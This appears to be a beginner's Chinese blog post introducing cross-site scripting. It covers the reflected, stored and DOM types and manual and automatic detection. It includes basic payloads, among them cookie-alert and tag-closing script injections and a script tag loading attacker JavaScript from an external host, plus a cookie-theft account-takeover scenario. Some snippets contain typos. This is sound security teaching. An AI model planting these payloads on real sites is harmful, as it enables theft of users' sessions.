闲人的XSS学习1

概念

XSS又叫CSS,即是跨站脚本攻击。是指攻击者在网页中嵌入客户端脚本,通常是JavaScript编写的恶意代码,当用户使用浏览器浏览被嵌入的恶意代码的网页时,恶意代码将会在用户的浏览器上执行。

原理

XSS一般用JavaScript编写,Javascript可以用来--------获取用户的cookie,改变网页内容,URL跳转。存在CSS漏洞,就可以盗取用户COOKIE,黑掉页面,导航到恶意网站。

例:<script>altert(/xss/)<script>, 这个代码会触发XSS攻击。

例:script src="http://www.secbug.org/x.txt"></script>,该方法可以用来加载外部脚本,而在x.txt中就存放着攻击者的恶意代码JavaScript代码,这段代码可能是用来盗取用户的Cookie,可能是监控等恶意行为。(x.txt换成x.jpg只要文件中包含JavaScript代码也会被执行。

XXS类型

XSS主要有3种类型,反射型,存储型,DOM型。

反射型
反射型XSS也被称为非持久性XSS。
①用户访问一个带有XSS代码的URL请求时,服务器端接收数据处理后。
②带有XSS代码的数据发送到浏览器,浏览器解析这段带有XSS代码的数据后,最终造成XSS漏洞。

例如:
①小明在访问A网站
②攻击者发现XXS漏洞,准备网站B
③攻击者将带有XSS漏洞的URL通过站内的信息发送小明
④小明点击了信息,cookie信息泄露
⑤攻击者通过小明的cookie登录了小明的账号

存储型XSS
存储型XSS又称为持久性XSS。
①允许用户存储数据的WEB应用程序
②攻击者提交一段XSS代码后,被服务器端储存
③当攻击者再次访问某个界面,这段XSS代码就被程序读取出来,响应给浏览器,造成XSS攻击。

例:
①确认输入点和输出点
②根据相应的标签构造HTML代码来闭合

不能得知内容输出的具体位置,则可以使用模糊测试方案。

`<script>alert(document.cookie)</script>`//普通注入
/><script>alert(document.cookie)</script> //闭合标签注入
</textarea><script>alert(document.cookie)</script>//闭合标签注入

DOM XSS
文档对象模型,DOM通常用于代表在HTML,XHTML,XML中的对象。

DOM的规定如下:
整个文档是一个文档节点;
每个HTML标签是一个元素节点;
包含在HTML元素中的文本是文本节点;
每一个HTML属性是一个属性节点;
节点与节点之间有等级关系。

(基于DOM型的XSS是不需要与服务器端交互的)

检测XSS

检测XSS一般分为两种方式,一种是手工检测,另外一种是软件自动检测;

手工检测
最重要是考虑哪里有输入,输入的数据在哪里输出。

1,可得知输出位置
输入一些敏感字符,例如< > " ’ () ,在提交请求后查看HTML源代码,看这些输入字符是否被转义。

2,无法得知输出位子
在<input**>** 标签中:

<input type="text" name="content" value="XSS Test"/>  //采用输入"/>XSS Test测试

全自动检测XSS
专业的XSS扫描器,XSSER,XSSF都是不错的选择。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值